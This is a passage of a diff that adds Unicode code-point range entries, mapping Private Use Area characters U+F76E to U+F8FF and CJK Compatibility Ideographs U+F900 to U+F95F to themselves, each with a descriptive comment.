+ ["\uF76E", "\uF76E"], /* Private Use */
+ ["\uF76F", "\uF76F"], /* Private Use */
+ ["\uF770", "\uF770"], /* Private Use */
+ ["\uF771", "\uF771"], /* Private Use */
+ ["\uF772", "\uF772"], /* Private Use */
+ ["\uF773", "\uF773"], /* Private Use */
+ ["\uF774", "\uF774"], /* Private Use */
+ ["\uF775", "\uF775"], /* Private Use */
+ ["\uF776", "\uF776"], /* Private Use */
+ ["\uF777", "\uF777"], /* Private Use */
+ ["\uF778", "\uF778"], /* Private Use */
+ ["\uF779", "\uF779"], /* Private Use */
+ ["\uF77A", "\uF77A"], /* Private Use */
+ ["\uF77B", "\uF77B"], /* Private Use */
+ ["\uF77C", "\uF77C"], /* Private Use */
+ ["\uF77D", "\uF77D"], /* Private Use */
+ ["\uF77E", "\uF77E"], /* Private Use */
+ ["\uF77F", "\uF77F"], /* Private Use */
+ ["\uF780", "\uF780"], /* Private Use */
+ ["\uF781", "\uF781"], /* Private Use */
+ ["\uF782", "\uF782"], /* Private Use */
+ ["\uF783", "\uF783"], /* Private Use */
+ ["\uF784", "\uF784"], /* Private Use */
+ ["\uF785", "\uF785"], /* Private Use */
+ ["\uF786", "\uF786"], /* Private Use */
+ ["\uF787", "\uF787"], /* Private Use */
+ ["\uF788", "\uF788"], /* Private Use */
+ ["\uF789", "\uF789"], /* Private Use */
+ ["\uF78A", "\uF78A"], /* Private Use */
+ ["\uF78B", "\uF78B"], /* Private Use */
+ ["\uF78C", "\uF78C"], /* Private Use */
+ ["\uF78D", "\uF78D"], /* Private Use */
+ ["\uF78E", "\uF78E"], /* Private Use */
+ ["\uF78F", "\uF78F"], /* Private Use */
+ ["\uF790", "\uF790"], /* Private Use */
+ ["\uF791", "\uF791"], /* Private Use */
+ ["\uF792", "\uF792"], /* Private Use */
+ ["\uF793", "\uF793"], /* Private Use */
+ ["\uF794", "\uF794"], /* Private Use */
+ ["\uF795", "\uF795"], /* Private Use */
+ ["\uF796", "\uF796"], /* Private Use */
+ ["\uF797", "\uF797"], /* Private Use */
+ ["\uF798", "\uF798"], /* Private Use */
+ ["\uF799", "\uF799"], /* Private Use */
+ ["\uF79A", "\uF79A"], /* Private Use */
+ ["\uF79B", "\uF79B"], /* Private Use */
+ ["\uF79C", "\uF79C"], /* Private Use */
+ ["\uF79D", "\uF79D"], /* Private Use */
+ ["\uF79E", "\uF79E"], /* Private Use */
+ ["\uF79F", "\uF79F"], /* Private Use */
+ ["\uF7A0", "\uF7A0"], /* Private Use */
+ ["\uF7A1", "\uF7A1"], /* Private Use */
+ ["\uF7A2", "\uF7A2"], /* Private Use */
+ ["\uF7A3", "\uF7A3"], /* Private Use */
+ ["\uF7A4", "\uF7A4"], /* Private Use */
+ ["\uF7A5", "\uF7A5"], /* Private Use */
+ ["\uF7A6", "\uF7A6"], /* Private Use */
+ ["\uF7A7", "\uF7A7"], /* Private Use */
+ ["\uF7A8", "\uF7A8"], /* Private Use */
+ ["\uF7A9", "\uF7A9"], /* Private Use */
+ ["\uF7AA", "\uF7AA"], /* Private Use */
+ ["\uF7AB", "\uF7AB"], /* Private Use */
+ ["\uF7AC", "\uF7AC"], /* Private Use */
+ ["\uF7AD", "\uF7AD"], /* Private Use */
+ ["\uF7AE", "\uF7AE"], /* Private Use */
+ ["\uF7AF", "\uF7AF"], /* Private Use */
+ ["\uF7B0", "\uF7B0"], /* Private Use */
+ ["\uF7B1", "\uF7B1"], /* Private Use */
+ ["\uF7B2", "\uF7B2"], /* Private Use */
+ ["\uF7B3", "\uF7B3"], /* Private Use */
+ ["\uF7B4", "\uF7B4"], /* Private Use */
+ ["\uF7B5", "\uF7B5"], /* Private Use */
+ ["\uF7B6", "\uF7B6"], /* Private Use */
+ ["\uF7B7", "\uF7B7"], /* Private Use */
+ ["\uF7B8", "\uF7B8"], /* Private Use */
+ ["\uF7B9", "\uF7B9"], /* Private Use */
+ ["\uF7BA", "\uF7BA"], /* Private Use */
+ ["\uF7BB", "\uF7BB"], /* Private Use */
+ ["\uF7BC", "\uF7BC"], /* Private Use */
+ ["\uF7BD", "\uF7BD"], /* Private Use */
+ ["\uF7BE", "\uF7BE"], /* Private Use */
+ ["\uF7BF", "\uF7BF"], /* Private Use */
+ ["\uF7C0", "\uF7C0"], /* Private Use */
+ ["\uF7C1", "\uF7C1"], /* Private Use */
+ ["\uF7C2", "\uF7C2"], /* Private Use */
+ ["\uF7C3", "\uF7C3"], /* Private Use */
+ ["\uF7C4", "\uF7C4"], /* Private Use */
+ ["\uF7C5", "\uF7C5"], /* Private Use */
+ ["\uF7C6", "\uF7C6"], /* Private Use */
+ ["\uF7C7", "\uF7C7"], /* Private Use */
+ ["\uF7C8", "\uF7C8"], /* Private Use */
+ ["\uF7C9", "\uF7C9"], /* Private Use */
+ ["\uF7CA", "\uF7CA"], /* Private Use */
+ ["\uF7CB", "\uF7CB"], /* Private Use */
+ ["\uF7CC", "\uF7CC"], /* Private Use */
+ ["\uF7CD", "\uF7CD"], /* Private Use */
+ ["\uF7CE", "\uF7CE"], /* Private Use */
+ ["\uF7CF", "\uF7CF"], /* Private Use */
+ ["\uF7D0", "\uF7D0"], /* Private Use */
+ ["\uF7D1", "\uF7D1"], /* Private Use */
+ ["\uF7D2", "\uF7D2"], /* Private Use */
+ ["\uF7D3", "\uF7D3"], /* Private Use */
+ ["\uF7D4", "\uF7D4"], /* Private Use */
+ ["\uF7D5", "\uF7D5"], /* Private Use */
+ ["\uF7D6", "\uF7D6"], /* Private Use */
+ ["\uF7D7", "\uF7D7"], /* Private Use */
+ ["\uF7D8", "\uF7D8"], /* Private Use */
+ ["\uF7D9", "\uF7D9"], /* Private Use */
+ ["\uF7DA", "\uF7DA"], /* Private Use */
+ ["\uF7DB", "\uF7DB"], /* Private Use */
+ ["\uF7DC", "\uF7DC"], /* Private Use */
+ ["\uF7DD", "\uF7DD"], /* Private Use */
+ ["\uF7DE", "\uF7DE"], /* Private Use */
+ ["\uF7DF", "\uF7DF"], /* Private Use */
+ ["\uF7E0", "\uF7E0"], /* Private Use */
+ ["\uF7E1", "\uF7E1"], /* Private Use */
+ ["\uF7E2", "\uF7E2"], /* Private Use */
+ ["\uF7E3", "\uF7E3"], /* Private Use */
+ ["\uF7E4", "\uF7E4"], /* Private Use */
+ ["\uF7E5", "\uF7E5"], /* Private Use */
+ ["\uF7E6", "\uF7E6"], /* Private Use */
+ ["\uF7E7", "\uF7E7"], /* Private Use */
+ ["\uF7E8", "\uF7E8"], /* Private Use */
+ ["\uF7E9", "\uF7E9"], /* Private Use */
+ ["\uF7EA", "\uF7EA"], /* Private Use */
+ ["\uF7EB", "\uF7EB"], /* Private Use */
+ ["\uF7EC", "\uF7EC"], /* Private Use */
+ ["\uF7ED", "\uF7ED"], /* Private Use */
+ ["\uF7EE", "\uF7EE"], /* Private Use */
+ ["\uF7EF", "\uF7EF"], /* Private Use */
+ ["\uF7F0", "\uF7F0"], /* Private Use */
+ ["\uF7F1", "\uF7F1"], /* Private Use */
+ ["\uF7F2", "\uF7F2"], /* Private Use */
+ ["\uF7F3", "\uF7F3"], /* Private Use */
+ ["\uF7F4", "\uF7F4"], /* Private Use */
+ ["\uF7F5", "\uF7F5"], /* Private Use */
+ ["\uF7F6", "\uF7F6"], /* Private Use */
+ ["\uF7F7", "\uF7F7"], /* Private Use */
+ ["\uF7F8", "\uF7F8"], /* Private Use */
+ ["\uF7F9", "\uF7F9"], /* Private Use */
+ ["\uF7FA", "\uF7FA"], /* Private Use */
+ ["\uF7FB", "\uF7FB"], /* Private Use */
+ ["\uF7FC", "\uF7FC"], /* Private Use */
+ ["\uF7FD", "\uF7FD"], /* Private Use */
+ ["\uF7FE", "\uF7FE"], /* Private Use */
+ ["\uF7FF", "\uF7FF"], /* Private Use */
+ ["\uF800", "\uF800"], /* Private Use */
+ ["\uF801", "\uF801"], /* Private Use */
+ ["\uF802", "\uF802"], /* Private Use */
+ ["\uF803", "\uF803"], /* Private Use */
+ ["\uF804", "\uF804"], /* Private Use */
+ ["\uF805", "\uF805"], /* Private Use */
+ ["\uF806", "\uF806"], /* Private Use */
+ ["\uF807", "\uF807"], /* Private Use */
+ ["\uF808", "\uF808"], /* Private Use */
+ ["\uF809", "\uF809"], /* Private Use */
+ ["\uF80A", "\uF80A"], /* Private Use */
+ ["\uF80B", "\uF80B"], /* Private Use */
+ ["\uF80C", "\uF80C"], /* Private Use */
+ ["\uF80D", "\uF80D"], /* Private Use */
+ ["\uF80E", "\uF80E"], /* Private Use */
+ ["\uF80F", "\uF80F"], /* Private Use */
+ ["\uF810", "\uF810"], /* Private Use */
+ ["\uF811", "\uF811"], /* Private Use */
+ ["\uF812", "\uF812"], /* Private Use */
+ ["\uF813", "\uF813"], /* Private Use */
+ ["\uF814", "\uF814"], /* Private Use */
+ ["\uF815", "\uF815"], /* Private Use */
+ ["\uF816", "\uF816"], /* Private Use */
+ ["\uF817", "\uF817"], /* Private Use */
+ ["\uF818", "\uF818"], /* Private Use */
+ ["\uF819", "\uF819"], /* Private Use */
+ ["\uF81A", "\uF81A"], /* Private Use */
+ ["\uF81B", "\uF81B"], /* Private Use */
+ ["\uF81C", "\uF81C"], /* Private Use */
+ ["\uF81D", "\uF81D"], /* Private Use */
+ ["\uF81E", "\uF81E"], /* Private Use */
+ ["\uF81F", "\uF81F"], /* Private Use */
+ ["\uF820", "\uF820"], /* Private Use */
+ ["\uF821", "\uF821"], /* Private Use */
+ ["\uF822", "\uF822"], /* Private Use */
+ ["\uF823", "\uF823"], /* Private Use */
+ ["\uF824", "\uF824"], /* Private Use */
+ ["\uF825", "\uF825"], /* Private Use */
+ ["\uF826", "\uF826"], /* Private Use */
+ ["\uF827", "\uF827"], /* Private Use */
+ ["\uF828", "\uF828"], /* Private Use */
+ ["\uF829", "\uF829"], /* Private Use */
+ ["\uF82A", "\uF82A"], /* Private Use */
+ ["\uF82B", "\uF82B"], /* Private Use */
+ ["\uF82C", "\uF82C"], /* Private Use */
+ ["\uF82D", "\uF82D"], /* Private Use */
+ ["\uF82E", "\uF82E"], /* Private Use */
+ ["\uF82F", "\uF82F"], /* Private Use */
+ ["\uF830", "\uF830"], /* Private Use */
+ ["\uF831", "\uF831"], /* Private Use */
+ ["\uF832", "\uF832"], /* Private Use */
+ ["\uF833", "\uF833"], /* Private Use */
+ ["\uF834", "\uF834"], /* Private Use */
+ ["\uF835", "\uF835"], /* Private Use */
+ ["\uF836", "\uF836"], /* Private Use */
+ ["\uF837", "\uF837"], /* Private Use */
+ ["\uF838", "\uF838"], /* Private Use */
+ ["\uF839", "\uF839"], /* Private Use */
+ ["\uF83A", "\uF83A"], /* Private Use */
+ ["\uF83B", "\uF83B"], /* Private Use */
+ ["\uF83C", "\uF83C"], /* Private Use */
+ ["\uF83D", "\uF83D"], /* Private Use */
+ ["\uF83E", "\uF83E"], /* Private Use */
+ ["\uF83F", "\uF83F"], /* Private Use */
+ ["\uF840", "\uF840"], /* Private Use */
+ ["\uF841", "\uF841"], /* Private Use */
+ ["\uF842", "\uF842"], /* Private Use */
+ ["\uF843", "\uF843"], /* Private Use */
+ ["\uF844", "\uF844"], /* Private Use */
+ ["\uF845", "\uF845"], /* Private Use */
+ ["\uF846", "\uF846"], /* Private Use */
+ ["\uF847", "\uF847"], /* Private Use */
+ ["\uF848", "\uF848"], /* Private Use */
+ ["\uF849", "\uF849"], /* Private Use */
+ ["\uF84A", "\uF84A"], /* Private Use */
+ ["\uF84B", "\uF84B"], /* Private Use */
+ ["\uF84C", "\uF84C"], /* Private Use */
+ ["\uF84D", "\uF84D"], /* Private Use */
+ ["\uF84E", "\uF84E"], /* Private Use */
+ ["\uF84F", "\uF84F"], /* Private Use */
+ ["\uF850", "\uF850"], /* Private Use */
+ ["\uF851", "\uF851"], /* Private Use */
+ ["\uF852", "\uF852"], /* Private Use */
+ ["\uF853", "\uF853"], /* Private Use */
+ ["\uF854", "\uF854"], /* Private Use */
+ ["\uF855", "\uF855"], /* Private Use */
+ ["\uF856", "\uF856"], /* Private Use */
+ ["\uF857", "\uF857"], /* Private Use */
+ ["\uF858", "\uF858"], /* Private Use */
+ ["\uF859", "\uF859"], /* Private Use */
+ ["\uF85A", "\uF85A"], /* Private Use */
+ ["\uF85B", "\uF85B"], /* Private Use */
+ ["\uF85C", "\uF85C"], /* Private Use */
+ ["\uF85D", "\uF85D"], /* Private Use */
+ ["\uF85E", "\uF85E"], /* Private Use */
+ ["\uF85F", "\uF85F"], /* Private Use */
+ ["\uF860", "\uF860"], /* Private Use */
+ ["\uF861", "\uF861"], /* Private Use */
+ ["\uF862", "\uF862"], /* Private Use */
+ ["\uF863", "\uF863"], /* Private Use */
+ ["\uF864", "\uF864"], /* Private Use */
+ ["\uF865", "\uF865"], /* Private Use */
+ ["\uF866", "\uF866"], /* Private Use */
+ ["\uF867", "\uF867"], /* Private Use */
+ ["\uF868", "\uF868"], /* Private Use */
+ ["\uF869", "\uF869"], /* Private Use */
+ ["\uF86A", "\uF86A"], /* Private Use */
+ ["\uF86B", "\uF86B"], /* Private Use */
+ ["\uF86C", "\uF86C"], /* Private Use */
+ ["\uF86D", "\uF86D"], /* Private Use */
+ ["\uF86E", "\uF86E"], /* Private Use */
+ ["\uF86F", "\uF86F"], /* Private Use */
+ ["\uF870", "\uF870"], /* Private Use */
+ ["\uF871", "\uF871"], /* Private Use */
+ ["\uF872", "\uF872"], /* Private Use */
+ ["\uF873", "\uF873"], /* Private Use */
+ ["\uF874", "\uF874"], /* Private Use */
+ ["\uF875", "\uF875"], /* Private Use */
+ ["\uF876", "\uF876"], /* Private Use */
+ ["\uF877", "\uF877"], /* Private Use */
+ ["\uF878", "\uF878"], /* Private Use */
+ ["\uF879", "\uF879"], /* Private Use */
+ ["\uF87A", "\uF87A"], /* Private Use */
+ ["\uF87B", "\uF87B"], /* Private Use */
+ ["\uF87C", "\uF87C"], /* Private Use */
+ ["\uF87D", "\uF87D"], /* Private Use */
+ ["\uF87E", "\uF87E"], /* Private Use */
+ ["\uF87F", "\uF87F"], /* Private Use */
+ ["\uF880", "\uF880"], /* Private Use */
+ ["\uF881", "\uF881"], /* Private Use */
+ ["\uF882", "\uF882"], /* Private Use */
+ ["\uF883", "\uF883"], /* Private Use */
+ ["\uF884", "\uF884"], /* Private Use */
+ ["\uF885", "\uF885"], /* Private Use */
+ ["\uF886", "\uF886"], /* Private Use */
+ ["\uF887", "\uF887"], /* Private Use */
+ ["\uF888", "\uF888"], /* Private Use */
+ ["\uF889", "\uF889"], /* Private Use */
+ ["\uF88A", "\uF88A"], /* Private Use */
+ ["\uF88B", "\uF88B"], /* Private Use */
+ ["\uF88C", "\uF88C"], /* Private Use */
+ ["\uF88D", "\uF88D"], /* Private Use */
+ ["\uF88E", "\uF88E"], /* Private Use */
+ ["\uF88F", "\uF88F"], /* Private Use */
+ ["\uF890", "\uF890"], /* Private Use */
+ ["\uF891", "\uF891"], /* Private Use */
+ ["\uF892", "\uF892"], /* Private Use */
+ ["\uF893", "\uF893"], /* Private Use */
+ ["\uF894", "\uF894"], /* Private Use */
+ ["\uF895", "\uF895"], /* Private Use */
+ ["\uF896", "\uF896"], /* Private Use */
+ ["\uF897", "\uF897"], /* Private Use */
+ ["\uF898", "\uF898"], /* Private Use */
+ ["\uF899", "\uF899"], /* Private Use */
+ ["\uF89A", "\uF89A"], /* Private Use */
+ ["\uF89B", "\uF89B"], /* Private Use */
+ ["\uF89C", "\uF89C"], /* Private Use */
+ ["\uF89D", "\uF89D"], /* Private Use */
+ ["\uF89E", "\uF89E"], /* Private Use */
+ ["\uF89F", "\uF89F"], /* Private Use */
+ ["\uF8A0", "\uF8A0"], /* Private Use */
+ ["\uF8A1", "\uF8A1"], /* Private Use */
+ ["\uF8A2", "\uF8A2"], /* Private Use */
+ ["\uF8A3", "\uF8A3"], /* Private Use */
+ ["\uF8A4", "\uF8A4"], /* Private Use */
+ ["\uF8A5", "\uF8A5"], /* Private Use */
+ ["\uF8A6", "\uF8A6"], /* Private Use */
+ ["\uF8A7", "\uF8A7"], /* Private Use */
+ ["\uF8A8", "\uF8A8"], /* Private Use */
+ ["\uF8A9", "\uF8A9"], /* Private Use */
+ ["\uF8AA", "\uF8AA"], /* Private Use */
+ ["\uF8AB", "\uF8AB"], /* Private Use */
+ ["\uF8AC", "\uF8AC"], /* Private Use */
+ ["\uF8AD", "\uF8AD"], /* Private Use */
+ ["\uF8AE", "\uF8AE"], /* Private Use */
+ ["\uF8AF", "\uF8AF"], /* Private Use */
+ ["\uF8B0", "\uF8B0"], /* Private Use */
+ ["\uF8B1", "\uF8B1"], /* Private Use */
+ ["\uF8B2", "\uF8B2"], /* Private Use */
+ ["\uF8B3", "\uF8B3"], /* Private Use */
+ ["\uF8B4", "\uF8B4"], /* Private Use */
+ ["\uF8B5", "\uF8B5"], /* Private Use */
+ ["\uF8B6", "\uF8B6"], /* Private Use */
+ ["\uF8B7", "\uF8B7"], /* Private Use */
+ ["\uF8B8", "\uF8B8"], /* Private Use */
+ ["\uF8B9", "\uF8B9"], /* Private Use */
+ ["\uF8BA", "\uF8BA"], /* Private Use */
+ ["\uF8BB", "\uF8BB"], /* Private Use */
+ ["\uF8BC", "\uF8BC"], /* Private Use */
+ ["\uF8BD", "\uF8BD"], /* Private Use */
+ ["\uF8BE", "\uF8BE"], /* Private Use */
+ ["\uF8BF", "\uF8BF"], /* Private Use */
+ ["\uF8C0", "\uF8C0"], /* Private Use */
+ ["\uF8C1", "\uF8C1"], /* Private Use */
+ ["\uF8C2", "\uF8C2"], /* Private Use */
+ ["\uF8C3", "\uF8C3"], /* Private Use */
+ ["\uF8C4", "\uF8C4"], /* Private Use */
+ ["\uF8C5", "\uF8C5"], /* Private Use */
+ ["\uF8C6", "\uF8C6"], /* Private Use */
+ ["\uF8C7", "\uF8C7"], /* Private Use */
+ ["\uF8C8", "\uF8C8"], /* Private Use */
+ ["\uF8C9", "\uF8C9"], /* Private Use */
+ ["\uF8CA", "\uF8CA"], /* Private Use */
+ ["\uF8CB", "\uF8CB"], /* Private Use */
+ ["\uF8CC", "\uF8CC"], /* Private Use */
+ ["\uF8CD", "\uF8CD"], /* Private Use */
+ ["\uF8CE", "\uF8CE"], /* Private Use */
+ ["\uF8CF", "\uF8CF"], /* Private Use */
+ ["\uF8D0", "\uF8D0"], /* Private Use */
+ ["\uF8D1", "\uF8D1"], /* Private Use */
+ ["\uF8D2", "\uF8D2"], /* Private Use */
+ ["\uF8D3", "\uF8D3"], /* Private Use */
+ ["\uF8D4", "\uF8D4"], /* Private Use */
+ ["\uF8D5", "\uF8D5"], /* Private Use */
+ ["\uF8D6", "\uF8D6"], /* Private Use */
+ ["\uF8D7", "\uF8D7"], /* Private Use */
+ ["\uF8D8", "\uF8D8"], /* Private Use */
+ ["\uF8D9", "\uF8D9"], /* Private Use */
+ ["\uF8DA", "\uF8DA"], /* Private Use */
+ ["\uF8DB", "\uF8DB"], /* Private Use */
+ ["\uF8DC", "\uF8DC"], /* Private Use */
+ ["\uF8DD", "\uF8DD"], /* Private Use */
+ ["\uF8DE", "\uF8DE"], /* Private Use */
+ ["\uF8DF", "\uF8DF"], /* Private Use */
+ ["\uF8E0", "\uF8E0"], /* Private Use */
+ ["\uF8E1", "\uF8E1"], /* Private Use */
+ ["\uF8E2", "\uF8E2"], /* Private Use */
+ ["\uF8E3", "\uF8E3"], /* Private Use */
+ ["\uF8E4", "\uF8E4"], /* Private Use */
+ ["\uF8E5", "\uF8E5"], /* Private Use */
+ ["\uF8E6", "\uF8E6"], /* Private Use */
+ ["\uF8E7", "\uF8E7"], /* Private Use */
+ ["\uF8E8", "\uF8E8"], /* Private Use */
+ ["\uF8E9", "\uF8E9"], /* Private Use */
+ ["\uF8EA", "\uF8EA"], /* Private Use */
+ ["\uF8EB", "\uF8EB"], /* Private Use */
+ ["\uF8EC", "\uF8EC"], /* Private Use */
+ ["\uF8ED", "\uF8ED"], /* Private Use */
+ ["\uF8EE", "\uF8EE"], /* Private Use */
+ ["\uF8EF", "\uF8EF"], /* Private Use */
+ ["\uF8F0", "\uF8F0"], /* Private Use */
+ ["\uF8F1", "\uF8F1"], /* Private Use */
+ ["\uF8F2", "\uF8F2"], /* Private Use */
+ ["\uF8F3", "\uF8F3"], /* Private Use */
+ ["\uF8F4", "\uF8F4"], /* Private Use */
+ ["\uF8F5", "\uF8F5"], /* Private Use */
+ ["\uF8F6", "\uF8F6"], /* Private Use */
+ ["\uF8F7", "\uF8F7"], /* Private Use */
+ ["\uF8F8", "\uF8F8"], /* Private Use */
+ ["\uF8F9", "\uF8F9"], /* Private Use */
+ ["\uF8FA", "\uF8FA"], /* Private Use */
+ ["\uF8FB", "\uF8FB"], /* Private Use */
+ ["\uF8FC", "\uF8FC"], /* Private Use */
+ ["\uF8FD", "\uF8FD"], /* Private Use */
+ ["\uF8FE", "\uF8FE"], /* Private Use */
+ ["\uF8FF", "\uF8FF"], /* Private Use */
+ ["\uF900", "\uF900"], /* CJK COMPATIBILITY IDEOGRAPH-F900 */
+ ["\uF901", "\uF901"], /* CJK COMPATIBILITY IDEOGRAPH-F901 */
+ ["\uF902", "\uF902"], /* CJK COMPATIBILITY IDEOGRAPH-F902 */
+ ["\uF903", "\uF903"], /* CJK COMPATIBILITY IDEOGRAPH-F903 */
+ ["\uF904", "\uF904"], /* CJK COMPATIBILITY IDEOGRAPH-F904 */
+ ["\uF905", "\uF905"], /* CJK COMPATIBILITY IDEOGRAPH-F905 */
+ ["\uF906", "\uF906"], /* CJK COMPATIBILITY IDEOGRAPH-F906 */
+ ["\uF907", "\uF907"], /* CJK COMPATIBILITY IDEOGRAPH-F907 */
+ ["\uF908", "\uF908"], /* CJK COMPATIBILITY IDEOGRAPH-F908 */
+ ["\uF909", "\uF909"], /* CJK COMPATIBILITY IDEOGRAPH-F909 */
+ ["\uF90A", "\uF90A"], /* CJK COMPATIBILITY IDEOGRAPH-F90A */
+ ["\uF90B", "\uF90B"], /* CJK COMPATIBILITY IDEOGRAPH-F90B */
+ ["\uF90C", "\uF90C"], /* CJK COMPATIBILITY IDEOGRAPH-F90C */
+ ["\uF90D", "\uF90D"], /* CJK COMPATIBILITY IDEOGRAPH-F90D */
+ ["\uF90E", "\uF90E"], /* CJK COMPATIBILITY IDEOGRAPH-F90E */
+ ["\uF90F", "\uF90F"], /* CJK COMPATIBILITY IDEOGRAPH-F90F */
+ ["\uF910", "\uF910"], /* CJK COMPATIBILITY IDEOGRAPH-F910 */
+ ["\uF911", "\uF911"], /* CJK COMPATIBILITY IDEOGRAPH-F911 */
+ ["\uF912", "\uF912"], /* CJK COMPATIBILITY IDEOGRAPH-F912 */
+ ["\uF913", "\uF913"], /* CJK COMPATIBILITY IDEOGRAPH-F913 */
+ ["\uF914", "\uF914"], /* CJK COMPATIBILITY IDEOGRAPH-F914 */
+ ["\uF915", "\uF915"], /* CJK COMPATIBILITY IDEOGRAPH-F915 */
+ ["\uF916", "\uF916"], /* CJK COMPATIBILITY IDEOGRAPH-F916 */
+ ["\uF917", "\uF917"], /* CJK COMPATIBILITY IDEOGRAPH-F917 */
+ ["\uF918", "\uF918"], /* CJK COMPATIBILITY IDEOGRAPH-F918 */
+ ["\uF919", "\uF919"], /* CJK COMPATIBILITY IDEOGRAPH-F919 */
+ ["\uF91A", "\uF91A"], /* CJK COMPATIBILITY IDEOGRAPH-F91A */
+ ["\uF91B", "\uF91B"], /* CJK COMPATIBILITY IDEOGRAPH-F91B */
+ ["\uF91C", "\uF91C"], /* CJK COMPATIBILITY IDEOGRAPH-F91C */
+ ["\uF91D", "\uF91D"], /* CJK COMPATIBILITY IDEOGRAPH-F91D */
+ ["\uF91E", "\uF91E"], /* CJK COMPATIBILITY IDEOGRAPH-F91E */
+ ["\uF91F", "\uF91F"], /* CJK COMPATIBILITY IDEOGRAPH-F91F */
+ ["\uF920", "\uF920"], /* CJK COMPATIBILITY IDEOGRAPH-F920 */
+ ["\uF921", "\uF921"], /* CJK COMPATIBILITY IDEOGRAPH-F921 */
+ ["\uF922", "\uF922"], /* CJK COMPATIBILITY IDEOGRAPH-F922 */
+ ["\uF923", "\uF923"], /* CJK COMPATIBILITY IDEOGRAPH-F923 */
+ ["\uF924", "\uF924"], /* CJK COMPATIBILITY IDEOGRAPH-F924 */
+ ["\uF925", "\uF925"], /* CJK COMPATIBILITY IDEOGRAPH-F925 */
+ ["\uF926", "\uF926"], /* CJK COMPATIBILITY IDEOGRAPH-F926 */
+ ["\uF927", "\uF927"], /* CJK COMPATIBILITY IDEOGRAPH-F927 */
+ ["\uF928", "\uF928"], /* CJK COMPATIBILITY IDEOGRAPH-F928 */
+ ["\uF929", "\uF929"], /* CJK COMPATIBILITY IDEOGRAPH-F929 */
+ ["\uF92A", "\uF92A"], /* CJK COMPATIBILITY IDEOGRAPH-F92A */
+ ["\uF92B", "\uF92B"], /* CJK COMPATIBILITY IDEOGRAPH-F92B */
+ ["\uF92C", "\uF92C"], /* CJK COMPATIBILITY IDEOGRAPH-F92C */
+ ["\uF92D", "\uF92D"], /* CJK COMPATIBILITY IDEOGRAPH-F92D */
+ ["\uF92E", "\uF92E"], /* CJK COMPATIBILITY IDEOGRAPH-F92E */
+ ["\uF92F", "\uF92F"], /* CJK COMPATIBILITY IDEOGRAPH-F92F */
+ ["\uF930", "\uF930"], /* CJK COMPATIBILITY IDEOGRAPH-F930 */
+ ["\uF931", "\uF931"], /* CJK COMPATIBILITY IDEOGRAPH-F931 */
+ ["\uF932", "\uF932"], /* CJK COMPATIBILITY IDEOGRAPH-F932 */
+ ["\uF933", "\uF933"], /* CJK COMPATIBILITY IDEOGRAPH-F933 */
+ ["\uF934", "\uF934"], /* CJK COMPATIBILITY IDEOGRAPH-F934 */
+ ["\uF935", "\uF935"], /* CJK COMPATIBILITY IDEOGRAPH-F935 */
+ ["\uF936", "\uF936"], /* CJK COMPATIBILITY IDEOGRAPH-F936 */
+ ["\uF937", "\uF937"], /* CJK COMPATIBILITY IDEOGRAPH-F937 */
+ ["\uF938", "\uF938"], /* CJK COMPATIBILITY IDEOGRAPH-F938 */
+ ["\uF939", "\uF939"], /* CJK COMPATIBILITY IDEOGRAPH-F939 */
+ ["\uF93A", "\uF93A"], /* CJK COMPATIBILITY IDEOGRAPH-F93A */
+ ["\uF93B", "\uF93B"], /* CJK COMPATIBILITY IDEOGRAPH-F93B */
+ ["\uF93C", "\uF93C"], /* CJK COMPATIBILITY IDEOGRAPH-F93C */
+ ["\uF93D", "\uF93D"], /* CJK COMPATIBILITY IDEOGRAPH-F93D */
+ ["\uF93E", "\uF93E"], /* CJK COMPATIBILITY IDEOGRAPH-F93E */
+ ["\uF93F", "\uF93F"], /* CJK COMPATIBILITY IDEOGRAPH-F93F */
+ ["\uF940", "\uF940"], /* CJK COMPATIBILITY IDEOGRAPH-F940 */
+ ["\uF941", "\uF941"], /* CJK COMPATIBILITY IDEOGRAPH-F941 */
+ ["\uF942", "\uF942"], /* CJK COMPATIBILITY IDEOGRAPH-F942 */
+ ["\uF943", "\uF943"], /* CJK COMPATIBILITY IDEOGRAPH-F943 */
+ ["\uF944", "\uF944"], /* CJK COMPATIBILITY IDEOGRAPH-F944 */
+ ["\uF945", "\uF945"], /* CJK COMPATIBILITY IDEOGRAPH-F945 */
+ ["\uF946", "\uF946"], /* CJK COMPATIBILITY IDEOGRAPH-F946 */
+ ["\uF947", "\uF947"], /* CJK COMPATIBILITY IDEOGRAPH-F947 */
+ ["\uF948", "\uF948"], /* CJK COMPATIBILITY IDEOGRAPH-F948 */
+ ["\uF949", "\uF949"], /* CJK COMPATIBILITY IDEOGRAPH-F949 */
+ ["\uF94A", "\uF94A"], /* CJK COMPATIBILITY IDEOGRAPH-F94A */
+ ["\uF94B", "\uF94B"], /* CJK COMPATIBILITY IDEOGRAPH-F94B */
+ ["\uF94C", "\uF94C"], /* CJK COMPATIBILITY IDEOGRAPH-F94C */
+ ["\uF94D", "\uF94D"], /* CJK COMPATIBILITY IDEOGRAPH-F94D */
+ ["\uF94E", "\uF94E"], /* CJK COMPATIBILITY IDEOGRAPH-F94E */
+ ["\uF94F", "\uF94F"], /* CJK COMPATIBILITY IDEOGRAPH-F94F */
+ ["\uF950", "\uF950"], /* CJK COMPATIBILITY IDEOGRAPH-F950 */
+ ["\uF951", "\uF951"], /* CJK COMPATIBILITY IDEOGRAPH-F951 */
+ ["\uF952", "\uF952"], /* CJK COMPATIBILITY IDEOGRAPH-F952 */
+ ["\uF953", "\uF953"], /* CJK COMPATIBILITY IDEOGRAPH-F953 */
+ ["\uF954", "\uF954"], /* CJK COMPATIBILITY IDEOGRAPH-F954 */
+ ["\uF955", "\uF955"], /* CJK COMPATIBILITY IDEOGRAPH-F955 */
+ ["\uF956", "\uF956"], /* CJK COMPATIBILITY IDEOGRAPH-F956 */
+ ["\uF957", "\uF957"], /* CJK COMPATIBILITY IDEOGRAPH-F957 */
+ ["\uF958", "\uF958"], /* CJK COMPATIBILITY IDEOGRAPH-F958 */
+ ["\uF959", "\uF959"], /* CJK COMPATIBILITY IDEOGRAPH-F959 */
+ ["\uF95A", "\uF95A"], /* CJK COMPATIBILITY IDEOGRAPH-F95A */
+ ["\uF95B", "\uF95B"], /* CJK COMPATIBILITY IDEOGRAPH-F95B */
+ ["\uF95C", "\uF95C"], /* CJK COMPATIBILITY IDEOGRAPH-F95C */
+ ["\uF95D", "\uF95D"], /* CJK COMPATIBILITY IDEOGRAPH-F95D */
+ ["\uF95E", "\uF95E"], /* CJK COMPATIBILITY IDEOGRAPH-F95E */
+ ["\uF95F", "\uF95F"], /* CJK COMPATIBILITY IDEOGRAPH-F95F */
